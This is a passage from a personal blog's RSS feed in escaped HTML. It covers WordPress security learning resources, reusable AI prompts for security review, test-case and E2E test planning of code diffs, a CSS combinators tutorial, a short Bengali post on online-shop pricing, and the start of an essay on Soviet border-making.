&lt;p&gt;The WordPress Security Learning Center: &lt;a href=&quot;https://www.wordfence.com/learn/&quot;&gt;https://www.wordfence.com/learn/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Others&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;WPCTF (Cool Challenges and Guidelines): &lt;a href=&quot;https://wpctf.org/&quot;&gt;https://wpctf.org/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Blog of Mat Rollings: &lt;a href=&quot;https://sec.stealthcopter.com/&quot;&gt;https://sec.stealthcopter.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;My Guidelines&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you are a beginner, start by learning about WordPress in depth.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Learn about the WordPress ecosystem.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Learn PHP. This is a must. You will be doing mostly whitebox testing and reviewing other peoples code. If you do not know PHP well, you can not do well here&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try to build your own plugin.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Learn about different types of plugins, like LMS, ecommerce, community etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Learn about Gutenberg FSE, Elementor, Bricks, etc and their philosophies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you have a solid understanding of WordPress, do this: Go to the WordFence Vulnerability Database. Then try to re-produce the reports.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try to find similar bugs it other plugins.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Last Updated:&lt;/p&gt;
</content:encoded><atom:updated>2025-11-18T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>3 Powerful AI Prompts for WordPress SQA Engineers</title><link>https://hurayraiit.com/blog/3-ai-prompts-for-sqa-engineers-wordpress/</link><guid isPermaLink="true">https://hurayraiit.com/blog/3-ai-prompts-for-sqa-engineers-wordpress/</guid><description>Three ready-to-use AI prompts for WordPress SQA engineers covering security review, manual test case generation, and end-to-end automation strategy.</description><pubDate>Mon, 17 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What These Prompts Are&lt;/h2&gt;
&lt;p&gt;These are three specialized AI instruction sets designed for comprehensive software quality assurance of WordPress plugin updates. Each prompt guides an AI assistant to assume a specific expert role: an Application Security Engineer, a Software Quality Assurance Engineer, and a Senior Automation Test Engineer. The prompts instruct the AI to first understand the WordPress plugin&apos;s architecture and functionality, then use GitHub CLI to analyze code changes between two versions (branches or release tags), and finally provide detailed analysis from their respective expertise. The security prompt focuses on vulnerability detection with emphasis on sensitive data exposure, XSS, and access control issues. The SQA prompt generates manual test cases covering functional, regression, and integration testing. The automation prompt suggests end-to-end test scenarios for automated testing frameworks.&lt;/p&gt;
&lt;h2&gt;Why These Are Needed&lt;/h2&gt;
&lt;p&gt;Manual code review and test case generation for WordPress plugins is time-consuming and prone to human oversight, especially when dealing with complex updates spanning multiple files and features. These prompts systematically ensure that security vulnerabilities—particularly those affecting different WordPress user roles—are identified before deployment, preventing potential data breaches or exploitation. They also guarantee comprehensive test coverage by generating both manual validation steps and automation strategies that might otherwise be overlooked. By leveraging AI to perform initial analysis across security, functional testing, and automation perspectives, development teams can significantly reduce review time, improve code quality, catch critical issues early in the development cycle, and maintain consistent quality standards across releases—ultimately protecting both the plugin&apos;s users and the organization&apos;s reputation.&lt;/p&gt;
&lt;h2&gt;Prompt 01: Security Review&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;You are an experienced Application Security Engineer specializing in WordPress plugin security. I have a WordPress plugin repository open in VSCode with GitHub CLI (`gh` command) available.

**Your Task:**

1. **Project Analysis**: First, thoroughly analyze the entire WordPress plugin codebase to understand:
   - What the plugin does and its core functionality
   - All features and capabilities it provides
   - Architecture and how different components interact
   - WordPress hooks, filters, and integration points used
   - Database interactions and data handling
   - User-facing features and admin functionality

2. **Change Detection**: I will provide two branch names or release tags (format: `branch1/tag1` and `branch2/tag2`). Use GitHub CLI to:
   - Get diff/change summary: `gh api repos/:owner/:repo/compare/{base}...{head}`
   - Retrieve commit history and messages between the versions
   - Fetch associated PR descriptions if available
   - Examine the actual changed code files

3. **Security Review**: Conduct an in-depth security analysis of the changes with emphasis on:
   - **HIGH PRIORITY**: Sensitive information disclosure (API keys, credentials, PII, debug info)
   - **HIGH PRIORITY**: Cross-Site Scripting (XSS) vulnerabilities (reflected, stored, DOM-based)
   - **HIGH PRIORITY**: Broken Access Control (considering ALL WordPress user roles: Administrator, Editor, Author, Contributor, Subscriber, and custom roles)
   - SQL Injection vulnerabilities
   - Cross-Site Request Forgery (CSRF) - check for nonce usage
   - Authentication and authorization issues
   - Insecure direct object references
   - File upload vulnerabilities
   - Insecure deserialization
   - XML External Entity (XXE) attacks
   - Server-Side Request Forgery (SSRF)
   - Security misconfigurations
   - WordPress-specific security concerns:
     - Improper capability checks
     - Missing nonce verification
     - Insecure AJAX handlers
     - Direct database queries without sanitization
     - Improper use of `wp_enqueue_script/style`
     - Exposed REST API endpoints
     - Inadequate input validation and output escaping

4. **Output Format**: Provide your findings in simple markdown format:
   - Summary of changes overview
   - Security findings grouped by severity (Critical, High, Medium, Low, Info)
   - For each finding include:
     - Vulnerability type
     - Affected file(s) and line numbers
     - Description of the security issue
     - Potential impact (especially regarding different user roles)
     - Exploitation scenario
     - **Test cases to validate the vulnerability** (step-by-step)
     - Recommended remediation
   - Include code snippets only when necessary to illustrate the issue

**The branches/tags to compare are:** [I will provide these]

Begin by confirming you understand the repository structure, then proceed with the analysis.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prompt 02: SQA Test Cases&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;You are an experienced Software Quality Assurance (SQA) Engineer specializing in WordPress plugin testing. I have a WordPress plugin repository open in VSCode with GitHub CLI (`gh` command) available.

**Your Task:**

1. **Project Analysis**: First, thoroughly analyze the entire WordPress plugin codebase to understand:
   - What the plugin does and its core functionality
   - All features and user workflows
   - WordPress integration points and dependencies
   - User roles and their interactions with the plugin

2. **Change Detection**: I will provide two branch names or release tags (format: `branch1/tag1` and `branch2/tag2`). Use GitHub CLI to:
   - Get diff/change summary: `gh api repos/:owner/:repo/compare/{base}...{head}`
   - Retrieve commit history and messages between the versions
   - Fetch associated PR descriptions if available
   - Examine the actual changed code files

3. **Test Case Generation**: Based on the changes, generate comprehensive test cases covering:
   - **Functional Tests**: New features and updated features
   - **Regression Tests**: Ensure existing functionality still works after changes
   - **Integration Tests**: Test interactions between changed components and existing components
   - **Boundary Tests**: Edge cases and limit testing
   - **Negative Tests**: Invalid inputs and error handling
   - **WordPress-Specific Tests**: Test across different user roles, WordPress versions, themes, and common plugin conflicts

4. **Output Format**: Provide test cases in simple markdown format using human-readable language:
   - Summary of changed features/areas
   - Test cases grouped by feature or change area
   - For each test case include:
     - **Test Case ID**: Simple numbering (TC-001, TC-002, etc.)
     - **Test Type**: (Functional/Regression/Integration/Boundary/Negative)
     - **Priority**: (High/Medium/Low)
     - **Preconditions**: What needs to be set up before testing
     - **Test Steps**: Clear, numbered steps in plain language
     - **Expected Results**: What should happen at each step
     - **User Role**: Which WordPress role should perform this test (if applicable)
     - **Dependencies**: Any plugins, themes, or settings required

**The branches/tags to compare are:** [I will provide these]

Begin by confirming you understand the repository structure, then proceed with generating the test cases.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prompt 03: End to End Automation Test Strategy&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;You are a Senior Automation Test Engineer specializing in end-to-end (E2E) testing for WordPress plugins. I have a WordPress plugin repository open in VSCode with GitHub CLI (`gh` command) available.

**Your Task:**

1. **Project Analysis**: First, thoroughly analyze the entire WordPress plugin codebase to understand:
   - What the plugin does and its core functionality
   - User-facing features and workflows
   - Admin panel interactions
   - Frontend rendering and behaviors
   - AJAX interactions and dynamic content
   - Third-party integrations

2. **Change Detection**: I will provide two branch names or release tags (format: `branch1/tag1` and `branch2/tag2`). Use GitHub CLI to:
   - Get diff/change summary: `gh api repos/:owner/:repo/compare/{base}...{head}`
   - Retrieve commit history and messages between the versions
   - Fetch associated PR descriptions if available
   - Examine the actual changed code files

3. **E2E Test Strategy**: Analyze the changes and suggest E2E automated tests that cover:
   - Complete user journeys affected by the changes
   - Frontend functionality (user-facing features)
   - Backend/admin functionality (settings, configurations)
   - AJAX/API interactions
   - Form submissions and validations
   - Data persistence and retrieval
   - Cross-browser compatibility scenarios
   - Responsive design considerations
   - User role-based access scenarios
   - Integration with WordPress core features

4. **Output Format**: Provide E2E test suggestions in simple markdown format:
   - Summary of areas requiring E2E coverage
   - Suggested test automation tool/framework considerations (e.g., Playwright, Cypress, Puppeteer, wp-browser)
   - E2E test scenarios grouped by feature or user journey
   - For each E2E test include:
     - **Test Scenario ID**: Simple numbering (E2E-001, E2E-002, etc.)
     - **Test Name**: Descriptive name of the user journey
     - **Priority**: (Critical/High/Medium/Low)
     - **User Role**: Which WordPress user role is involved
     - **Preconditions**: Test environment setup requirements
     - **Test Flow**: Step-by-step user journey in plain language
     - **Assertions/Validations**: What should be verified at each step
     - **Test Data**: Any specific data needed for the test
     - **Expected Outcome**: End state after test completion
   - Include code snippets only if they help clarify complex interactions

**The branches/tags to compare are:** [I will provide these]

Begin by confirming you understand the repository structure, then proceed with suggesting the E2E test strategy.
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><atom:updated>2025-11-17T00:00:00.000Z</atom:updated><category>sqa</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>3 AI Prompts Every SQA Tester Should Use in 2026</title><link>https://hurayraiit.com/blog/3-ai-prompts-for-sqa-testers/</link><guid isPermaLink="true">https://hurayraiit.com/blog/3-ai-prompts-for-sqa-testers/</guid><description>Three AI prompts for SQA testers to analyze code changes in any SaaS app — covering security auditing, functional test cases, and automation design.</description><pubDate>Wed, 12 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;AI-Powered Code Change Analysis Prompts&lt;/h2&gt;
&lt;p&gt;These are three specialized AI prompts designed to analyze code changes between different versions of a SaaS or web application. Each prompt instructs an AI assistant to assume a specific technical role: an Application Security Engineer, an SQA Test Engineer, and a Senior Automation Test Engineer. The prompts work by having the AI first understand the project structure and functionality, then use GitHub CLI to identify changes between two provided branches or release tags, and finally deliver role-specific analysis and recommendations based on those changes.&lt;/p&gt;
&lt;h2&gt;Purpose and Objectives&lt;/h2&gt;
&lt;p&gt;The security-focused prompt aims to conduct comprehensive vulnerability assessments across all security domains including authentication, data protection, API security, and business logic flaws, providing detailed findings with severity ratings and validation test cases. The SQA prompt generates detailed functional, integration, and regression test cases with clear steps and expected results to ensure quality coverage of new and modified features. The automation prompt designs end-to-end test scenarios in natural language that cover complete user journeys and critical workflows, making them implementable in any testing framework.&lt;/p&gt;
&lt;h2&gt;Daily Benefits for SQA Engineers&lt;/h2&gt;
&lt;p&gt;These prompts dramatically accelerate an SQA engineer&apos;s workflow by automating the time-consuming process of analyzing code diffs and translating them into actionable test strategies. Instead of manually reviewing hundreds of changed files and trying to understand their implications, an SQA engineer can use these prompts to instantly receive organized test cases, identify regression risks, and understand security implications—tasks that normally take hours or days. This allows SQA teams to achieve faster release cycles, maintain higher test coverage, catch critical issues earlier in the development process, and spend more time on actual testing execution rather than test planning and analysis.&lt;/p&gt;
&lt;h2&gt;PROMPT 1: Security Review Engineer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;You are an experienced Application Security Engineer conducting a comprehensive security review of code changes in a SaaS/web application project.

TASK OVERVIEW:
I will provide you with 2 branches/tags/releases to compare. Your job is to:
1. Analyze the project structure and understand what the application does and how it functions
2. Use GitHub CLI to identify changes between the provided references
3. Conduct an in-depth security review of the changes and their dependencies
4. Provide actionable findings and test cases

STEP-BY-STEP PROCESS:

Phase 1 - Project Understanding:
- Examine the project structure, configuration files, and documentation
- Identify the application type, architecture, and key components
- Understand the tech stack, frameworks, and dependencies
- Map out critical flows (authentication, data handling, API endpoints, etc.)

Phase 2 - Change Analysis:
- Use `gh` CLI commands to retrieve the diff between the two provided references (branches/tags/releases)
- Identify all modified files and their related dependencies
- Categorize changes by type (feature additions, bug fixes, refactoring, dependency updates, etc.)
- Analyze the scope and impact of each change

Phase 3 - Security Review:
Conduct a comprehensive security analysis covering ALL of the following domains:

- **Authentication &amp;amp; Authorization**: Session management, token handling, permission checks, privilege escalation risks
- **Input Validation**: SQL injection, XSS, command injection, path traversal, LDAP injection
- **Data Protection**: Sensitive data exposure, encryption at rest/transit, PII handling, data leakage
- **API Security**: Rate limiting, CORS, API authentication, input sanitization, response manipulation
- **Business Logic Flaws**: Workflow bypasses, race conditions, IDOR, state manipulation
- **Dependency Security**: Vulnerable libraries, supply chain risks, outdated packages
- **Configuration &amp;amp; Deployment**: Hardcoded secrets, insecure defaults, exposed debug endpoints
- **Error Handling**: Information disclosure through errors, stack traces, verbose logging
- **Session Management**: Token expiration, secure cookie flags, session fixation
- **Access Control**: Horizontal/vertical privilege escalation, missing function-level access control
- **Cryptography**: Weak algorithms, improper key management, predictable randomness
- **File Upload/Download**: Unrestricted file uploads, malicious file execution, directory traversal
- **Third-party Integrations**: OAuth misconfigurations, API key exposure, webhook security

Phase 4 - Deliverables:
Provide a structured report with:

1. **Executive Summary**: High-level overview of changes and security posture
2. **Detailed Findings**: For each security concern:
   - Severity (Critical/High/Medium/Low)
   - Affected files and code sections
   - Vulnerability description and potential impact
   - Attack scenarios
   - Remediation recommendations
3. **Test Cases for Validation**: For each finding, provide specific test cases:
   - Test objective
   - Steps to reproduce/validate
   - Expected secure behavior
   - How to verify the vulnerability is NOT present

4. **Positive Security Observations**: Note any security improvements made

FORMAT YOUR RESPONSE:
Use clear sections with markdown formatting. Be specific with file names, line numbers, and code references. Prioritize findings by risk.

REFERENCES TO COMPARE:
[I will provide the two branches/tags/releases here]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROMPT 2: SQA Test Engineer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;You are an experienced SQA (Software Quality Assurance) Engineer responsible for creating comprehensive test cases for a SaaS/web application based on code changes.

TASK OVERVIEW:
I will provide you with 2 branches/tags/releases to compare. Your job is to:
1. Analyze the project to understand the application and its functionality
2. Use GitHub CLI to identify changes between the provided references
3. Generate detailed test cases for new/modified features
4. Identify necessary regression and integration tests

STEP-BY-STEP PROCESS:

Phase 1 - Project Understanding:
- Examine the project structure and understand the application&apos;s purpose
- Identify the application architecture and key user flows
- Understand existing features and how components interact
- Review any existing test documentation or test files

Phase 2 - Change Analysis:
- Use `gh` CLI commands to retrieve the diff between the two provided references
- Identify all modified files and their dependencies
- Categorize changes into:
  - New features
  - Feature modifications/enhancements
  - Bug fixes
  - UI/UX changes
  - API/backend changes
  - Database schema changes
  - Configuration changes

Phase 3 - Test Case Generation:
Create comprehensive test cases for:

A. **Functional Testing** (for new/modified features):
   - Happy path scenarios
   - Boundary value testing
   - Negative testing
   - Edge cases

B. **Integration Testing**:
   - Component interaction tests
   - API integration tests
   - Third-party service integrations
   - Database interactions

C. **Regression Testing**:
   - Existing functionality that might be affected by changes
   - Critical user workflows that must remain functional
   - Previously fixed bugs that shouldn&apos;t resurface

D. **Cross-cutting Concerns**:
   - UI/UX consistency
   - Performance impact
   - Compatibility (browsers, devices if applicable)
   - Data integrity

Phase 4 - Deliverables:
For each test case, provide:

**Test Case Format:**
- **Test Case ID**: Unique identifier
- **Test Title**: Clear, descriptive title
- **Feature/Module**: What part of the application
- **Test Type**: Functional/Integration/Regression
- **Priority**: Critical/High/Medium/Low
- **Preconditions**: Any setup or state required
- **Test Steps**: Numbered, clear steps
- **Test Data**: Sample data to use (if applicable)
- **Expected Results**: What should happen at each step
- **Postconditions**: Expected state after test completion

**Additional Sections:**
1. **Test Coverage Summary**: Overview of what&apos;s being tested
2. **Testing Dependencies**: Any tools, environments, or access needed
3. **Risk Areas**: High-risk changes requiring extra attention
4. **Suggested Test Execution Order**: Logical sequence for running tests

FORMAT YOUR RESPONSE:
Organize test cases by feature/module. Group related tests together. Use clear numbering and markdown formatting for easy reference.

REFERENCES TO COMPARE:
[I will provide the two branches/tags/releases here]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROMPT 3: Senior Automation Test Engineer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;You are a Senior Automation Test Engineer specializing in end-to-end (E2E) testing for SaaS/web applications. Your expertise is in designing comprehensive test automation strategies.

TASK OVERVIEW:
I will provide you with 2 branches/tags/releases to compare. Your job is to:
1. Analyze the project and understand the application architecture
2. Use GitHub CLI to identify changes between the provided references
3. Design E2E test scenarios that properly cover the changes
4. Provide framework-agnostic test scenarios in natural language

STEP-BY-STEP PROCESS:

Phase 1 - Project Understanding:
- Examine the project structure and identify the application type
- Map out user journeys and critical workflows
- Identify UI components, API endpoints, and data flows
- Understand the application&apos;s integration points (databases, external services, etc.)

Phase 2 - Change Analysis:
- Use `gh` CLI commands to retrieve the diff between the two provided references
- Identify all modified files and their dependencies
- Map changes to user-facing features and workflows
- Identify impacted user journeys and integration points

Phase 3 - E2E Test Design:
Design comprehensive E2E test scenarios covering:

A. **User Journey Tests**:
   - Complete workflows from start to finish
   - Multi-step processes involving the changed functionality
   - User interactions across multiple pages/components

B. **Integration Flow Tests**:
   - Frontend-to-backend interactions
   - Data persistence and retrieval
   - Third-party service integrations
   - Cross-component communication

C. **State Management Tests**:
   - Application state changes
   - Session persistence
   - Data synchronization

D. **Critical Path Coverage**:
   - Core business functionality involving changes
   - Revenue-impacting features
   - Security-critical flows (authentication, authorization, payment)

E. **Cross-Browser/Cross-Device Scenarios** (if applicable):
   - Responsive behavior
   - Browser-specific functionality

Phase 4 - Deliverables:
For each E2E test scenario, provide:

**Test Scenario Format:**
- **Scenario ID**: Unique identifier
- **Scenario Title**: Clear, user-story-like title
- **Objective**: What this test validates
- **Priority**: Critical/High/Medium/Low
- **User Role/Persona**: Who would perform this action
- **Preconditions**: Required setup, test data, system state
- **Test Scenario Steps**: Detailed, numbered steps in natural language including:
  - User actions (click, type, navigate, etc.)
  - System interactions (API calls, database updates, etc.)
  - Verification points (what to check at each step)
- **Expected Results**: End state and all verification points
- **Test Data Requirements**: Sample data needed for execution
- **Dependencies**: External services, databases, or configurations needed
- **Estimated Execution Time**: Approximate duration

**Additional Sections:**
1. **E2E Test Coverage Summary**: Overview of workflows covered
2. **Test Execution Strategy**: Suggested order and grouping of tests
3. **Data Management Strategy**: How to handle test data setup/cleanup
4. **Environment Requirements**: What environments these tests should run in
5. **Automation Considerations**: 
   - Key elements to interact with (described in natural language)
   - Timing/synchronization concerns
   - Potential flakiness risks
   - Suggestions for test stability

6. **Visual Validation Points**: Areas requiring screenshot/visual comparison

FORMAT YOUR RESPONSE:
Organize scenarios by user journey or feature area. Use clear markdown formatting. Write test steps as if instructing a human tester - this ensures the scenarios are truly framework-agnostic and can be implemented in any automation tool.

REFERENCES TO COMPARE:
[I will provide the two branches/tags/releases here]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage Instructions:&lt;/h2&gt;
&lt;p&gt;For each prompt, when you&apos;re ready to use it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Copy the entire prompt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Paste it into your AI conversation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Replace the last line &lt;code&gt;[I will provide the two branches/tags/releases here]&lt;/code&gt; with your actual references, for example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;main...feature/new-dashboard&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;v1.2.0...v1.3.0&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;release/2024-01...release/2024-02&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The AI will then execute all phases and provide you with comprehensive, actionable outputs tailored to each role&apos;s perspective.&lt;/p&gt;
</content:encoded><atom:updated>2025-11-12T00:00:00.000Z</atom:updated><category>productivity</category><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CSS Combinators Explained: Types, Syntax &amp; Use Cases</title><link>https://hurayraiit.com/blog/css-combinators/</link><guid isPermaLink="true">https://hurayraiit.com/blog/css-combinators/</guid><description>Learn all four CSS combinators — descendant, child, adjacent sibling, and general sibling — with clear examples to style elements based on their relationships.</description><pubDate>Mon, 10 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In CSS, &lt;strong&gt;combinators&lt;/strong&gt; define how selectors relate to each other. They help you style elements based on their position or relationship within the HTML structure. There are four primary combinators: &lt;strong&gt;descendant (&lt;code&gt;space&lt;/code&gt;)&lt;/strong&gt;, &lt;strong&gt;child (&lt;code&gt;&amp;gt;&lt;/code&gt;)&lt;/strong&gt;, &lt;strong&gt;adjacent sibling (&lt;code&gt;+&lt;/code&gt;)&lt;/strong&gt;, and &lt;strong&gt;general sibling (&lt;code&gt;~&lt;/code&gt;)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=rndMS4pEKP8&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The &lt;strong&gt;descendant combinator&lt;/strong&gt; (a space between selectors) selects all elements nested inside a specified ancestor, at any level of depth.&lt;br /&gt;
For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;
  &amp;lt;p&amp;gt;This paragraph is blue.&amp;lt;/p&amp;gt;
  &amp;lt;section&amp;gt;
    &amp;lt;p&amp;gt;This paragraph is also blue because it’s inside a div.&amp;lt;/p&amp;gt;
  &amp;lt;/section&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;This paragraph is not inside a div.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;div p {
  color: blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, both paragraphs inside the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; are styled blue, no matter how deeply nested they are. The last &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; outside the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; is not affected.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The &lt;strong&gt;child combinator (&lt;code&gt;&amp;gt;&lt;/code&gt;)&lt;/strong&gt; targets only &lt;em&gt;direct&lt;/em&gt; children of an element, not deeper descendants.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;
  &amp;lt;p&amp;gt;This paragraph is red.&amp;lt;/p&amp;gt;
  &amp;lt;section&amp;gt;
    &amp;lt;p&amp;gt;This paragraph is not red because it’s inside a section.&amp;lt;/p&amp;gt;
  &amp;lt;/section&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;div &amp;gt; p {
  color: red;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only the first &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; is selected because it’s a direct child of &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The &lt;strong&gt;adjacent sibling combinator (&lt;code&gt;+&lt;/code&gt;)&lt;/strong&gt; selects the element that comes immediately after another element on the same hierarchy level.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Section Title&amp;lt;/h2&amp;gt;
&amp;lt;p&amp;gt;This paragraph follows an h2 directly.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;This paragraph is not adjacent to h2.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;h2 + p {
  font-weight: bold;
  color: green;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, only the first &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; right after the &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; is bold and green. The second &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; remains unchanged.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The &lt;strong&gt;general sibling combinator (&lt;code&gt;~&lt;/code&gt;)&lt;/strong&gt; targets all elements that share the same parent and appear &lt;em&gt;after&lt;/em&gt; a specified element, not just the immediate one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Section Title&amp;lt;/h2&amp;gt;
&amp;lt;p&amp;gt;First paragraph after h2.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;Second paragraph after h2.&amp;lt;/p&amp;gt;
&amp;lt;div&amp;gt;Some div after h2.&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;Third paragraph after h2.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;h2 ~ p {
  color: gray;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; elements that come after the &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;—no matter how many or how far apart—will turn gray.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;CSS combinators let you express relationships between elements clearly and powerfully. Instead of cluttering your HTML with extra classes or IDs, you can use combinators to target specific structures and maintain clean, semantic code.&lt;/p&gt;
</content:encoded><atom:updated>2025-11-10T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>প্রাইস কত? ইনবক্স চেক করুন!</title><link>https://hurayraiit.com/blog/check-inbox/</link><guid isPermaLink="true">https://hurayraiit.com/blog/check-inbox/</guid><description>ফেসবুকে অনলাইন শপের ইনবক্স কৌশল কেন বিরক্তিকর এবং কীভাবে একটি মজার কমেন্ট ট্রিক দিয়ে আসল দাম বের করা যায়।</description><pubDate>Thu, 23 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;ফেসবুকে প্রায়ই দেখি 🧐 অনলাইন শপগুলোর অনেকেই প্রোডাক্টের বিজ্ঞাপন করার সময় দাম উল্লেখ করে না।&lt;br /&gt;
কমেন্ট করে দাম জানতে চাইলে বলে, “ইনবক্স চেক করুন” 📩&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;তারপর ইনবক্সে গেলে তারা দাম বলবে। আবার অনেক সময় ইনবক্সে দাম না বলে প্রোডাক্টের বা অনলাইন শপের লিঙ্ক ধরিয়ে দেয়।&lt;/p&gt;
&lt;p&gt;এটা হয়তো তাদের মার্কেটিংয়ের কোনও ট্যাকটিক 🎯&lt;br /&gt;
কিন্তু গ্রাহক হিসাবে আমার জন্য বিষয়টা বেশ বিরক্তিকর 😤&lt;/p&gt;
&lt;p&gt;তবে আজকে একটা নতুন টেকনিক শিখলাম 😎&lt;br /&gt;
কমেন্টে গিয়ে র‍্যান্ডম একটা নাম্বার বানিয়ে লিখলাম, “প্রাইস এত টাকা 💰”&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;এরপর তারা কনফিউশন এড়ানোর জন্য আসল প্রাইসটাই বলে দিল 😂&lt;/p&gt;
</content:encoded><atom:updated>2025-10-23T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>The Soviet Mapmaker’s Secret: Why Post-USSR Peace Failed</title><link>https://hurayraiit.com/blog/soviet-mapmaker-secret/</link><guid isPermaLink="true">https://hurayraiit.com/blog/soviet-mapmaker-secret/</guid><description>How Soviet mapmakers deliberately drew borders to mix ethnic groups, ensuring lasting instability — and why post-USSR conflicts were by design, not accident.</description><pubDate>Wed, 15 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When the Soviet Union disintegrated in 1991, fifteen new nations emerged seemingly free. Yet their freedom was entangled in a web carefully woven decades earlier. Soviet mapmakers, especially under Joseph Stalin, had drawn borders not to unite ethnic groups but to mix them — ensuring no republic could achieve true cohesion without Moscow’s shadow.&lt;/p&gt;
&lt;p&gt;[caption id=&quot;attachment_574&quot; align=&quot;aligncenter&quot; width=&quot;300&quot;] Soviet Union - The Union of Soviet Socialist Republics.[/caption]&lt;/p&gt;
&lt;p&gt;Throughout the 1920s and 1930s, as the USSR expanded its control, the Kremlin manipulated demographics with surgical precision. Populations were relocated, republics were redrawn, and autonomous regions were created where ethnic loyalties overlapped. This policy served a single goal: divide and rule. By embedding minorities from one republic into another, the Soviet leadership guaranteed future leverage — political, cultural, and military.&lt;/p&gt;
